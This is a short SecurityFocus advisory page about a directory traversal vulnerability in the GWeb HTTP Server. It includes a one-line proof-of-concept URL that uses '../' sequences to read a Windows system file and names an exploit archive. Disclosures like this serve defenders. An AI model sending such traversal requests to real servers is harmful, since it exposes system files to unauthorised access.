info
discussion
exploit
solution
references
GWeb HTTP Server Directory Traversal Vulnerability
No exploit is required to leverage this issue. The following proof of concept has been provided:
http://www.example.com/../../../../../../windows/system.ini
/data/vulnerabilities/exploits/gshinfo.zip
Privacy Statement
Copyright 2010, SecurityFocus